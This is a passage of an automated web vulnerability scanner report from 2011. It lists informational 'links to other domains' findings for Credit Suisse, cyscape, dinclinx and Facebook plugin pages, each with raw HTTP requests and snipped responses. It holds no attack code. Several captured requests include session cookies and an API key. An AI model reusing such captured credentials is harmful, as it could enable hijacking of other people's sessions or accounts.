<a href="/"><img src="https://ssl.images-createspace.com/csp/Special/Img/logo-csp.gif" alt="CreateSpace" height=52 width=110 /></a>
...[SNIP]...
<div id="tagline"><img src="https://ssl.images-createspace.com/csp/Special/Img/header/tagline.png"/></div>
...[SNIP]...
<div id="startpage"><img src="https://ssl.images-createspace.com/csp/Special/Img/dot_trans.gif" height="1" width="760" alt="" /></div>
...[SNIP]...
<div id="endpage"><img src="https://ssl.images-createspace.com/csp/Special/Img/dot_trans.gif" height="1" width="760" alt="" /></div>
...[SNIP]...
<span style="display:inline;float:right;margin-right:20px;">
<img src="https://ssl.images-createspace.com/csp/Special/Img/logos/an_amazon_company_whbg.gif" width="160" height="21" alt="An Amazon.com company" />
</span>
...[SNIP]...
</div>
<script src="https://service.optify.net/opt.js" type="text/javascript"></script>
...[SNIP]...

12.8. https://www.credit-suisse.com/who_we_are/en/office_locator.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/who_we_are/en/office_locator.jsp

Issue detail

The page was loaded from a URL containing a query string:

https://www.credit-suisse.com/who_we_are/en/office_locator.jsp?country=2142

The response contains the following link to another domain:

https://maps-api-ssl.google.com/maps?hl=en&file=api&v=2&key=ABQIAAAAe-BVbnCHNlqxcIWZfDiKlRSfTdUuLkoKqJVPqptfaP5m9KQofRR3MhWMHVN6Qv3DOFTmsHoA6nPKYA&client=gme-creditsuisse&channel=InternetFindus

Request

GET /who_we_are/en/office_locator.jsp?country=2142 HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:36 GMT
Content-Type: text/html; charset=UTF-8
Content-Language: en
Connection: close
Content-Length: 55227

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">



<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
...[SNIP]...



    <script src="https://maps-api-ssl.google.com/maps?hl=en&file=api&v=2&key=ABQIAAAAe-BVbnCHNlqxcIWZfDiKlRSfTdUuLkoKqJVPqptfaP5m9KQofRR3MhWMHVN6Qv3DOFTmsHoA6nPKYA&client=gme-creditsuisse&channel=InternetFindus" type="text/javascript"></script>
...[SNIP]...

12.9. http://www.csam-europe.com/chinst/mutual/en/default.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csam-europe.com
Path:	/chinst/mutual/en/default.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www.csam-europe.com/chinst/mutual/en/default.asp?TopicID=1086

The response contains the following links to other domains:

http://www.credit-suisse.com/
http://www.credit-suisse.com/about_us/en/
http://www.credit-suisse.com/ch/aboutus/en
http://www.credit-suisse.com/ch/b2b/en
http://www.credit-suisse.com/ch/b2c/en
http://www.credit-suisse.com/ch/en
http://www.credit-suisse.com/ch/markets/en
http://www.credit-suisse.com/index/en
http://www.credit-suisse.com/legal/en
http://www.credit-suisse.com/privacy/en
http://www.credit-suisse.com/sitemap
http://www.credit-suisse.com/sitemap/en
http://www.credit-suisse.com/worldwide

Request

GET /chinst/mutual/en/default.asp?TopicID=1086 HTTP/1.1
Host: www.csam-europe.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Unknown Web Server
Date: Mon, 19 Sep 2011 14:46:12 GMT
Connection: close
X-powered-by: ASP.NET
Content-length: 9697
Content-type: text/html
Cache-control: private
Via: 1.1 https-80.europe.csam.com
Proxy-agent: Oracle-iPlanet-Web-Server/7.0

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<meta name="copyright" content="Copyright Credit Suisse Group - all rights reserved" />
<link rel="Home" href="http://www.credit-suisse.com" title="Homepage" accesskey="7" />
<link rel="Content" href="#beg_content" title="Skip to Content" accesskey="8" />
<link rel="Sitemap" href="http://www.credit-suisse.com/sitemap" title="Our Site Map (Site Navigation)" accesskey="9"/>
<style type="text/css">
...[SNIP]...
<div id="logo">
<a href="http://www.credit-suisse.com"><img src="/framework/img/logo_cs.gif" width="175" height="70" id="picMainLogo" title="CREDIT SUISSE" alt="CREDIT SUISSE" />
...[SNIP]...
<span class="country_select"><a href="http://www.credit-suisse.com/worldwide">Credit Suisse Worldwide</a>
...[SNIP]...
<li id="n01"><a href="http://www.credit-suisse.com/ch/en">Home</a></li>
<li id="n02"><a href="http://www.credit-suisse.com/ch/b2c/en">Individuals</a>
...[SNIP]...
<li id="n03"><a href="http://www.credit-suisse.com/ch/b2b/en">Corporates & Institutions</a>
...[SNIP]...
<li id="n04"><a href="http://www.credit-suisse.com/ch/markets/en">Market Data & Research</a>
...[SNIP]...
<li id="n05"><a href="http://www.credit-suisse.com/ch/aboutus/en">About us</a>
...[SNIP]...
<div class="container-link blue"><a title="Ablehnen" alt="Ablehnen" href="http://www.credit-suisse.com">Decline</a>
...[SNIP]...
<div class="container-link blue"><a title="Ablehnen" alt="Ablehnen" href="http://www.credit-suisse.com">Decline</a>
...[SNIP]...
<li><a href="http://www.credit-suisse.com/about_us/en/">About Us</a>
...[SNIP]...
<li><a href="http://www.credit-suisse.com/sitemap/en">Site Map</a>
...[SNIP]...
<li class="end"><a href="http://www.credit-suisse.com/index/en">Index A-Z</a>
...[SNIP]...
<span class="nobreak"><a href="http://www.credit-suisse.com/legal/en">Terms of Use</a> and <a href="http://www.credit-suisse.com/privacy/en">Privacy Policy</a>
...[SNIP]...

12.10. https://www.cyscape.com/images/common/episodes.gif%22 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/images/common/episodes.gif%22

Issue detail

The page was loaded from a URL containing a query string:

https://www.cyscape.com/images/common/episodes.gif%22?ets=backend:1697,navmenu:32,mainbody:1880,speedcheck:1,frontend:4797,page%20load%20time:6494,total%20load%20time:6495&v=0.2

The response contains the following links to other domains:

https://lib.browserhawk.com/bhtg/bhawk.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkerr.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkplt.js?acct=cyscape

Request

GET /images/common/episodes.gif%22?ets=backend:1697,navmenu:32,mainbody:1880,speedcheck:1,frontend:4797,page%20load%20time:6494,total%20load%20time:6495&v=0.2 HTTP/1.1
Host: www.cyscape.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: https://www.cyscape.com/products/bhawk/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BA=ba=90453&be=33368.92&l=1161&le=4.69&ip=10.0.0.1&t=1316462241; __utma=172671793.283514393.1316462211.1316462211.1316462211.1; __utmb=172671793.3.10.1316462211; __utmc=172671793; __utmz=172671793.1316462211.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); bhCookieSaveSess=1; ASPSESSIONIDAQRSSCCA=BOEBNBDDEMFJBLNILPJCHJDN; bhPrevResults=bhjs=1; bhawkplt=plt_state=transitional&plt_stm=1316462735601&plt_url=https%3A%2F%2Fwww.cyscape.com%2Forder%2Forder.asp%3Fbhcp%3D1; ASP.NET_SessionId=0gviet45vvixih45hx2k2a55; person_id=8553561; EPISODES=s=1316462745417&r=https%3A//www.cyscape.com/%2522/products/bhtg//%2522; RT=

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:04:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 43190

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_ctl00_Head1">
<script>var _b
...[SNIP]...
</span><script src="https://lib.browserhawk.com/bhtg/bhawkerr.js?acct=cyscape"> </script>
...[SNIP]...
</script>
<script src="https://lib.browserhawk.com/bhtg/bhawkplt.js?acct=cyscape"> </script>
...[SNIP]...
</script>
<script src="https://lib.browserhawk.com/bhtg/bhawk.js?acct=cyscape"> </script>
...[SNIP]...

12.11. http://www.dinclinx.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinclinx.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.dinclinx.com/?s=1051&e=0&t=695&f=javascript

The response contains the following links to other domains:

http://clk.madisonlogic.com/clk?pub=74&pgr=63&src=1051&ctg=109&tstamp=20110919T193038&ast=13314&cmp=2246&crv=0&pos=1&frm=288
http://clk.madisonlogic.com/clk?pub=74&pgr=63&src=1051&ctg=109&tstamp=20110919T193038&ast=13336&cmp=3304&crv=0&pos=3&frm=288
http://clk.madisonlogic.com/clk?pub=74&pgr=63&src=1051&ctg=109&tstamp=20110919T193038&ast=7935&cmp=3834&crv=0&pos=2&frm=288
http://new.infoworld.com/sites/all/themes/ifw/images/hdr_itwp_lg.gif
http://www.itwhitepapers.com/

Request

GET /?s=1051&e=0&t=695&f=javascript HTTP/1.1
Host: www.dinclinx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 19 Sep 2011 19:30:38 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 19 Sep 2011 19:30:38 GMT
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 1417

document.write('<div class="sectionLabel"><img src="http://new.infoworld.com/sites/all/themes/ifw/images/hdr_itwp_lg.gif" alt=""></div> <div><p style="margin-bottom:10px;"><a href="http://clk.madisonlogic.com/clk?pub=74&pgr=63&src=1051&ctg=109&tstamp=20110919T193038&ast=13314&cmp=2246&crv=0&pos=1&frm=288" target="_blank">How to choose the best hosted VoIP system for your Small to Medium sized business</a>
...[SNIP]...
<p style="margin-bottom:10px;"><a href="http://clk.madisonlogic.com/clk?pub=74&pgr=63&src=1051&ctg=109&tstamp=20110919T193038&ast=7935&cmp=3834&crv=0&pos=2&frm=288" target="_blank">So, You\'re Responsible for Managing Laptops</a>
...[SNIP]...
<p style="margin-bottom:10px;"><a href="http://clk.madisonlogic.com/clk?pub=74&pgr=63&src=1051&ctg=109&tstamp=20110919T193038&ast=13336&cmp=3304&crv=0&pos=3&frm=288" target="_blank">Unified Communications Buyer\'s Guide</a>
...[SNIP]...
<div class="seeAll">See all <a href="http://www.itwhitepapers.com" target="_blank">IT Whitepapers</a>
...[SNIP]...

12.12. http://www.facebook.com/connect/connect.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/connect/connect.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/connect/connect.php?id=6512744217&connections=5&stream=0&css=&locale=fr

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/48893_556843349_2681973_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/211920_100001720626398_1409703_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/23283_6512744217_4911_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/273632_100001516907087_921621749_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275166_100000002451052_7739808_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276297_100002258343842_6014971_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/qmyjguD9K67.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/Mz6Me8PDhdq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yy/r/VeBlwmWVNjq.css

Request

GET /connect/connect.php?id=6512744217&connections=5&stream=0&css=&locale=fr HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

12.13. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?api_key=your%20app%20id&channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1694d19fbc8ae%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=true&height=290&href=http%3A%2F%2Fwww.facebook.com%2Ffilecluster&locale=en_US&sdk=joey&show_faces=true&stream=false&width=300

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/273459_100001607177418_2005780296_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/273471_100000047602804_1749701489_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/174490_100000009250486_5847005_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/260945_100001176846383_1993760571_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/273551_100001655675666_1573295576_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/273666_1352783315_6886590_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274114_100002800590241_7675640_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274117_100001839880927_7302866_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275925_840404406_397041572_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41806_114393458576507_9105_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/qmyjguD9K67.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/Mz6Me8PDhdq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yy/r/VeBlwmWVNjq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yz/r/1iO7XjW7Qh8.css

Request

GET /plugins/likebox.php?api_key=your%20app%20id&channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1694d19fbc8ae%26origin%3Dhttp%253A%252F%252Fwww.filecluster.com%252Ff636e64566a7b6%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=true&height=290&href=http%3A%2F%2Fwww.facebook.com%2Ffilecluster&locale=en_US&sdk=joey&show_faces=true&stream=false&width=300 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.filecluster.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

12.14. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?id=103915706315105&width=300&connections=10&stream=false&header=true&height=287

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/203142_100002433546392_1847793_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/273434_100000661948943_5033209_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/50553_103915706315105_8225_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/195491_1677784016_6056242_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/211406_100000147069996_5563506_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/23129_100000629476244_1887_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275045_100001798558338_670649361_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275612_100002239745024_502286_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275662_100001971042017_1590515705_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276070_100000019510713_4335076_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/49054_100001567539176_9894_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/qmyjguD9K67.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/Mz6Me8PDhdq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yy/r/VeBlwmWVNjq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yz/r/1iO7XjW7Qh8.css

Request

GET /plugins/likebox.php?id=103915706315105&width=300&connections=10&stream=false&header=true&height=287 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://techtrickz.com/how-to/backup-and-download-facebook-photo-albums-in-zip-format/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

12.15. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?id=103915706315105&width=300&connections=10&stream=false&header=true&height=287

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/203142_100002433546392_1847793_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/273434_100000661948943_5033209_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/50553_103915706315105_8225_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186600_1295024860_4536015_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/195491_1677784016_6056242_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/23129_100000629476244_1887_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275045_100001798558338_670649361_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275609_100001368765683_1909054109_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275612_100002239745024_502286_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276070_100000019510713_4335076_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/49054_100001567539176_9894_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/qmyjguD9K67.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/Mz6Me8PDhdq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yy/r/VeBlwmWVNjq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yz/r/1iO7XjW7Qh8.css

Request

GET /plugins/likebox.php?id=103915706315105&width=300&connections=10&stream=false&header=true&height=287 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://techtrickz.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

12.16. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df219684c4814ee4%26origin%3Dhttp%253A%252F%252Fwww.ilovefreesoftware.com%252Ff37925ff0718cec%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=true&height=290&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FI-Love-Free-Software%2F112472075437410&locale=en_US&sdk=joey&show_faces=true&stream=false&width=210

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/186562_100000962240204_4587247_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186232_100002124425588_904343_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186892_100000546890487_2087578_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/273652_1022379310_5805800_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274034_100001577012708_3540601_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274189_100002468634842_7333491_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/27517_112472075437410_3189_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275269_100001699836046_1127192256_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276175_100000568551552_2703673_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276339_100001196828235_1936340815_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276381_100002523289978_1385966566_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/qmyjguD9K67.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/Mz6Me8PDhdq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yy/r/VeBlwmWVNjq.css
http://static.ak.fbcdn.net/rsrc.php/v1/yz/r/1iO7XjW7Qh8.css

Request

GET /plugins/likebox.php?channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df219684c4814ee4%26origin%3Dhttp%253A%252F%252Fwww.ilovefreesoftware.com%252Ff37925ff0718cec%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=true&height=290&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FI-Love-Free-Software%2F112472075437410&locale=en_US&sdk=joey&show_faces=true&stream=false&width=210 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ilovefreesoftware.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

12.17. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1e7a53d09fb6fa%26origin%3Dhttp%253A%252F%252Fwww.ilovefreesoftware.com%252Ff1f4383a1b979c%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=true&height=290&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FI-Love-Free-Software%2F112472075437410&locale=en_US&sdk=joey&show_faces=true&stream=false&width=210

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/186562_100000962240204_4587247_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186892_100000546890487_2087578_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274034_100001577012708_3540601_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274095_100001479568091_4673627_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274189_100002468634842_7333491_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/27517_112472075437410_3189_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275269_100001699836046_1127192256_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275862_100000999337978_1375736884_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276175_100000568551552_2703673_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276339_100001196828235_1936340815_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276381_100002523289978_1385966566_q.jpg
